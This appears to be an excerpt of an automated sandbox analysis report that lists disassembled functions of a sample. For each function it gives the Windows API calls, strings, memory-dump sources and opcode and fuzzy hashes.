Opcode ID: 29181f46492936ad128787cc54a36485d55c54c561d358f0bcec91e9c74b7d6b
Instruction ID: 9232720259df689aeea4f97b564c163324642f853c8888e7401d0489a0933ba4
Opcode Fuzzy Hash: 29181f46492936ad128787cc54a36485d55c54c561d358f0bcec91e9c74b7d6b
Instruction Fuzzy Hash: 32F02835500339EACB17FB69FC42AAD77F9AF50714F500419F419AA191DBB09941C740

Function 0031C1E0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 25libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL,?,?,0030108E), ref: 0031C1EB
GetProcAddress.KERNEL32(0030108E,IsWow64Process), ref: 0031C204
GetCurrentProcess.KERNEL32(00000000), ref: 0031C220

Strings

IsWow64Process, xrefs: 0031C1FB
KERNEL32.DLL, xrefs: 0031C1E6

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: AddressCurrentHandleModuleProcProcess
String ID: IsWow64Process$KERNEL32.DLL
API String ID: 4190356694-1193389583
Opcode ID: ad793c1710e31685a6987901bb5cfc85f7d8743a8ff7bcdf17435e27bfb51e72
Instruction ID: 943532ada5d159c5223255ebd3791330b57f2184ee4efab766b313dba4ca4473
Opcode Fuzzy Hash: ad793c1710e31685a6987901bb5cfc85f7d8743a8ff7bcdf17435e27bfb51e72
Instruction Fuzzy Hash: 28F0A5B9D44208EBCB15EFE4D889BDDBBB8EB08311F109495E905A3240D7749688DF51

Function 003273B8 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 23COMMON

Download Yara Rule

APIs

__getptd.LIBCMT ref: 003273D9

Part of subcall function 003281BE: __getptd_noexit.LIBCMT ref: 003281C1
Part of subcall function 003281BE: __amsg_exit.LIBCMT ref: 003281CE

__getptd.LIBCMT ref: 003273EA
__getptd.LIBCMT ref: 003273F8

Strings

MOC, xrefs: 003273CB
RCC, xrefs: 003273C4

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: __getptd$__amsg_exit__getptd_noexit
String ID: MOC$RCC
API String ID: 803148776-2084237596
Opcode ID: ed8bd0ab92faa1f54095003defd2a49c59da4fdb40cb08683ccfb0fcb8a2e0cc
Instruction ID: 5bf9fecc4e944cdda30421228a4ebd8640b3b06c722538c1d93f0db11f68cdef
Opcode Fuzzy Hash: ed8bd0ab92faa1f54095003defd2a49c59da4fdb40cb08683ccfb0fcb8a2e0cc
Instruction Fuzzy Hash: 39E0D834118124CFC712EB68E08A77837D5FF44308F1A00A1E80CCB223CB34EC519583

Function 00309C90 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 23libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(USER32.DLL,?,?,00301089), ref: 00309C9B
GetProcAddress.KERNEL32(00000000,SetProcessDPIAware), ref: 00309CB3
FreeLibrary.KERNEL32(00000000), ref: 00309CCC

Strings

USER32.DLL, xrefs: 00309C96
SetProcessDPIAware, xrefs: 00309CAA

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: Library$AddressFreeLoadProc
String ID: SetProcessDPIAware$USER32.DLL
API String ID: 145871493-772676101
Opcode ID: 5f2da0d06ea70b5efa4b2da3df3038f1061bad8ef0a21b996d6672bb163bfff2
Instruction ID: 04a4e171deb233a495ee1fa142fdc494a09fe5d751b11d8779874b597e6552ee
Opcode Fuzzy Hash: 5f2da0d06ea70b5efa4b2da3df3038f1061bad8ef0a21b996d6672bb163bfff2
Instruction Fuzzy Hash: 3AE0C974D01208EFDB06EFE4D98D6DEBBB8AB08701F108495E905A2290D6754B88CB51

Function 00316D6B Relevance: 7.6, APIs: 5, Instructions: 85threadsynchronizationCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(00000000), ref: 00316DC7
CloseHandle.KERNEL32(00000000), ref: 00316DF9
CreateEventW.KERNEL32(00000000,00000001,00000000,00000000), ref: 00316E17
CreateThread.KERNEL32(00000000,00000000,Function_0000E020,-00379F18,00000004,00000000), ref: 00316E4C
ResumeThread.KERNEL32(00000000), ref: 00316E8C
WaitForSingleObject.KERNEL32(00000000,00000000), ref: 00316EF9
CloseHandle.KERNEL32(00000000), ref: 00316F31
CloseHandle.KERNEL32(00000000), ref: 00316F63
CreateEventW.KERNEL32(00000000,00000001,00000000,00000000), ref: 00316F81
CreateThread.KERNEL32(00000000,00000000,Function_0000E020,-00379F18,00000004,00000000), ref: 00316FB5
ResumeThread.KERNEL32(00000000), ref: 00316FF5

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: CloseCreateHandleThread$EventResume$ObjectSingleWait
String ID:
API String ID: 738346648-0
Opcode ID: 9d8c0ec5c7d6687e370ca2418896bee5627bb809b03409f9be8e92b2c338664e
Instruction ID: 9580e0dd882b1a3fc3cc291f58ce722458076ac38e3c5fd0bcef8a536ffd546c
Opcode Fuzzy Hash: 9d8c0ec5c7d6687e370ca2418896bee5627bb809b03409f9be8e92b2c338664e
Instruction Fuzzy Hash: 22413271A001058FCF1DCF54C999BBEB7B6FB98305F154669E11AAF2D5C7309881CB60

Function 00320870 Relevance: 7.6, APIs: 5, Instructions: 69networkCOMMON

Download Yara Rule

APIs

WSACreateEvent.WS2_32 ref: 00320876
WSAEventSelect.WS2_32(?,00000000,00000002), ref: 00320893
WSAWaitForMultipleEvents.WS2_32(00000001,?,00000000,00000001,00000000), ref: 003208D3
WSACloseEvent.WS2_32(00000000), ref: 003208E0
WSACloseEvent.WS2_32(00000000), ref: 00320939

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: Event$Close$CreateEventsMultipleSelectWait
String ID:
API String ID: 2166016019-0
Opcode ID: c1254236e277558fe6fdc602535a63ec3c2fffccbfdd5829247d061b19f1aeaf
Instruction ID: 35eabbd71c786c50fe52bbd3e0c6a32364870bf51f309bda22a0846a7e30a1c4
Opcode Fuzzy Hash: c1254236e277558fe6fdc602535a63ec3c2fffccbfdd5829247d061b19f1aeaf
Instruction Fuzzy Hash: 8A215EB4900219EFDF19CFA4E948BAE77B9BF05310F104158E40667292C7B59E85DF61

Function 00320790 Relevance: 7.6, APIs: 5, Instructions: 69networkCOMMON

Download Yara Rule

APIs

WSACreateEvent.WS2_32 ref: 00320796
WSAEventSelect.WS2_32(?,00000000,00000001), ref: 003207B3
WSAWaitForMultipleEvents.WS2_32(00000001,?,00000000,00000001,00000000), ref: 003207F3
WSACloseEvent.WS2_32(00000000), ref: 00320800
WSACloseEvent.WS2_32(00000000), ref: 00320859

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: Event$Close$CreateEventsMultipleSelectWait
String ID:
API String ID: 2166016019-0
Opcode ID: 16e98285ce4d8f0c0bcc72a5290b42aa6f9bebbb9f5634049951e61fa8180511
Instruction ID: 3246016a525fdbdbbd3f0a2b37dfa5b904db6b84cbbf32c9382aeb66b49cddc7
Opcode Fuzzy Hash: 16e98285ce4d8f0c0bcc72a5290b42aa6f9bebbb9f5634049951e61fa8180511
Instruction Fuzzy Hash: AA2139B4900219EFDF19CF94E948BAF77B8BF05300F218558E80567282C7B59E84DBA1

Function 0032E464 Relevance: 7.6, APIs: 5, Instructions: 68COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc.LIBCMT ref: 0032E472

Part of subcall function 00324619: __FF_MSGBANNER.LIBCMT ref: 00324632
Part of subcall function 00324619: __NMSG_WRITE.LIBCMT ref: 00324639
Part of subcall function 00324619: RtlAllocateHeap.NTDLL(00000000,00000001,?,?,?,?,00305B93,?), ref: 0032465E

_free.LIBCMT ref: 0032E485

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: AllocateHeap_free_malloc
String ID:
API String ID: 1020059152-0
Opcode ID: 68891e5b60b3d1f81a6e5c3953027f78dbc95bf7c65fd6360c96e1ae4c6eafc0
Instruction ID: f4e8a11a06f080cecfc961dd1f51a857f7bbd6a02e61d0b8273fce4e6eb10fc8
Opcode Fuzzy Hash: 68891e5b60b3d1f81a6e5c3953027f78dbc95bf7c65fd6360c96e1ae4c6eafc0
Instruction Fuzzy Hash: A9117332505635EBCB373BB6BC0A65A3B99AF413A0F368925F94D9A160DE3488808794

Function 00322840 Relevance: 7.6, APIs: 5, Instructions: 55memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00000018), ref: 0032284A

Part of subcall function 0030FE20: SHGetKnownFolderPath.SHELL32(?,00000000,00000000,?), ref: 0030FE74
Part of subcall function 0030FE20: lstrlenW.KERNEL32(?), ref: 0030FE86
Part of subcall function 0030FE20: lstrlenW.KERNEL32(00371110), ref: 0030FE99
Part of subcall function 0030FE20: LocalAlloc.KERNEL32(00000040,?), ref: 0030FEB2
Part of subcall function 0030FE20: __snwprintf.LIBCMT ref: 0030FEDA
Part of subcall function 0030FE20: lstrlenW.KERNEL32(00000000), ref: 0030FEE6
Part of subcall function 0030FE20: CoTaskMemFree.COMBASE(?), ref: 0030FEF5

GetFileAttributesExW.KERNEL32(00000000,00000000,?), ref: 0032287D
LocalFree.KERNEL32(00000000), ref: 003228B8
LocalFree.KERNEL32(00000000), ref: 003228C7
LocalFree.KERNEL32(00000000), ref: 003228D1

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: Local$Free$lstrlen$Alloc$AttributesFileFolderKnownPathTask__snwprintf
String ID:
API String ID: 1368272246-0
Opcode ID: 1aa792c1c1280e31874969cdbb46f79d5d40271d3e7a6a191c82d383fa8eb579
Instruction ID: 1398f25f2d4c62c92dc5315a0fff6b1b9ef08b1a1507135e1561ea8a55ffb2c3
Opcode Fuzzy Hash: 1aa792c1c1280e31874969cdbb46f79d5d40271d3e7a6a191c82d383fa8eb579
Instruction Fuzzy Hash: 6E21D679D00208EFCB19DFA8D989A9EBBB5AF48300F108599E905A7350D734AA40DF60

Function 003095E0 Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

Part of subcall function 003081C0: LocalAlloc.KERNEL32(00000040,0000FFFE,?,?,00308D2B,00316B10,00000000), ref: 003081EB
Part of subcall function 003081C0: LocalAlloc.KERNEL32(00000040,0000FFFE,?,?,00308D2B), ref: 00308205
Part of subcall function 003081C0: wnsprintfW.SHLWAPI ref: 00308235
Part of subcall function 003081C0: wnsprintfW.SHLWAPI ref: 00308251
Part of subcall function 003081C0: LocalFree.KERNEL32(00000000), ref: 00308A43

Part of subcall function 00301C60: _wcsrchr.LIBCMT ref: 00301C6C

GetFileAttributesW.KERNEL32(00000000), ref: 00309630
LocalFree.KERNEL32(00000000), ref: 0030963F
LocalFree.KERNEL32(00000000), ref: 00309649
LocalFree.KERNEL32(00000000), ref: 0030965A
LocalFree.KERNEL32(00000000), ref: 00309664

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: Local$Free$Allocwnsprintf$AttributesFile_wcsrchr
String ID:
API String ID: 3823319188-0
Opcode ID: dc6a96b43243ce4411002450097452798be7ec9615548caf3f543ef2d19e164b
Instruction ID: a100ad7f8a2bb04c437707266a88511b211d966f0837c4572bd35318db118949
Opcode Fuzzy Hash: dc6a96b43243ce4411002450097452798be7ec9615548caf3f543ef2d19e164b
Instruction Fuzzy Hash: EF112D79D10208EBCB25DFE4E959ADEBB7CEF48310F104599F909E7280D6359B84CB51

Function 0031C8E0 Relevance: 7.5, APIs: 5, Instructions: 48synchronizationCOMMON

Download Yara Rule

APIs

SetEvent.KERNEL32(?), ref: 0031C915
WaitForSingleObject.KERNEL32(?,000000FF), ref: 0031C924
CloseHandle.KERNEL32(?), ref: 0031C931
CloseHandle.KERNEL32(?), ref: 0031C93E
LocalFree.KERNEL32(00000000), ref: 0031C958

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: CloseHandle$EventFreeLocalObjectSingleWait
String ID:
API String ID: 3879024238-0
Opcode ID: ff71483dd8d4672ad641d5d3e950312bd583a0760f2fa4cb9219dba3d79351c5
Instruction ID: 220845a96ee8d8671777aa8cd405fd9465e65af86d6f9507e4752f43ac81e5fb
Opcode Fuzzy Hash: ff71483dd8d4672ad641d5d3e950312bd583a0760f2fa4cb9219dba3d79351c5
Instruction Fuzzy Hash: 0311BE79A10208EFCB09DF94D98899DBBB9FF4C711F208288E90967350D734AE85DF90

Function 003132B0 Relevance: 7.5, APIs: 5, Instructions: 48COMMON

Download Yara Rule

APIs

Part of subcall function 00313350: LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 00313364
Part of subcall function 00313350: LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 00313385
Part of subcall function 00313350: SHGetKnownFolderPath.SHELL32(00337C30,00000000,00000000,00000000), ref: 003133AC
Part of subcall function 00313350: lstrlenW.KERNEL32(00000000), ref: 003133BA
Part of subcall function 00313350: __snwprintf.LIBCMT ref: 003133E4
Part of subcall function 00313350: __snwprintf.LIBCMT ref: 003133FE
Part of subcall function 00313350: LocalFree.KERNEL32(00000000), ref: 0031340A
Part of subcall function 00313350: CoTaskMemFree.COMBASE(00000000), ref: 00313414

GetFileAttributesW.KERNEL32(00000000), ref: 003132CF
LocalFree.KERNEL32(00000000), ref: 003132E2
GetFileAttributesW.KERNEL32(00000000), ref: 00313312
LocalFree.KERNEL32(00000000), ref: 00313325

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: Local$Free$AllocAttributesFile__snwprintf$FolderKnownPathTasklstrlen
String ID:
API String ID: 1889006086-0
Opcode ID: a14c201d3f055471364a5a39d6bf72b45decfb9f0556a83ff35842be71c2c79a
Instruction ID: 9a95e9fe40120c936aa6b056edea6e06ff6ed284f961d00ed86eaca250a371ab
Opcode Fuzzy Hash: a14c201d3f055471364a5a39d6bf72b45decfb9f0556a83ff35842be71c2c79a
Instruction Fuzzy Hash: 67110079D10208EFDB25EFB4D9486DDBBB8EF48301F1088A8E515E7280D7758B80DB55

Function 003041F0 Relevance: 7.5, APIs: 5, Instructions: 47threadCOMMON

Download Yara Rule

APIs

CreateEventW.KERNEL32(00000000,00000001,00000000,00000000,?,0031BBFD), ref: 00304217
CreateEventW.KERNEL32(00000000,00000001,00000000,00000000,?,0031BBFD), ref: 00304233
CreateThread.KERNEL32(00000000,00000000,00304320,00000000,00000000,00000000), ref: 00304256
CloseHandle.KERNEL32(00000000,?,0031BBFD), ref: 00304277
CloseHandle.KERNEL32(00000000,?,0031BBFD), ref: 0030428E

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: Create$CloseEventHandle$Thread
String ID:
API String ID: 3315681087-0
Opcode ID: 7ed1d42709f1cde1e6d1c7c6cf7bf3e41639e487744986e63d0f2a98e5985947
Instruction ID: 73ec9be29fa155eef7ae71269e821dd6189dd420022068b0233e9863007d0066
Opcode Fuzzy Hash: 7ed1d42709f1cde1e6d1c7c6cf7bf3e41639e487744986e63d0f2a98e5985947
Instruction Fuzzy Hash: 8F118374297300EFE7339B64ED9EB5A7ABCA704705F110829FA096A2F1CBB465D4CA04

Function 003292DC Relevance: 7.5, APIs: 5, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 003292E8

Part of subcall function 003281BE: __getptd_noexit.LIBCMT ref: 003281C1
Part of subcall function 003281BE: __amsg_exit.LIBCMT ref: 003281CE

__getptd.LIBCMT ref: 003292FF
__amsg_exit.LIBCMT ref: 0032930D
__lock.LIBCMT ref: 0032931D
__updatetlocinfoEx_nolock.LIBCMT ref: 00329331

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__getptd_noexit__lock__updatetlocinfo
String ID:
API String ID: 938513278-0
Opcode ID: 1b71fcbfe0ff60b11d2f02de01f67e0bf9080bb5a22d89f10ec9d77506c7d85b
Instruction ID: 7bf9660fa40f93be5593d306d2dd12c60c5fc292deea2838d11c2d157d18b839
Opcode Fuzzy Hash: 1b71fcbfe0ff60b11d2f02de01f67e0bf9080bb5a22d89f10ec9d77506c7d85b
Instruction Fuzzy Hash: 6CF0B432905734DADB33FB78B80774D73A0BF00B21F12410AF544AF2E2CB2469518A97

Function 0031C970 Relevance: 7.5, APIs: 5, Instructions: 26COMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 0031C978
CoCreateGuid.COMBASE(?), ref: 0031C982
StringFromGUID2.COMBASE(?,?,00000027), ref: 0031C996
CoUninitialize.COMBASE ref: 0031C9A0
CoUninitialize.COMBASE ref: 0031C9AD

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

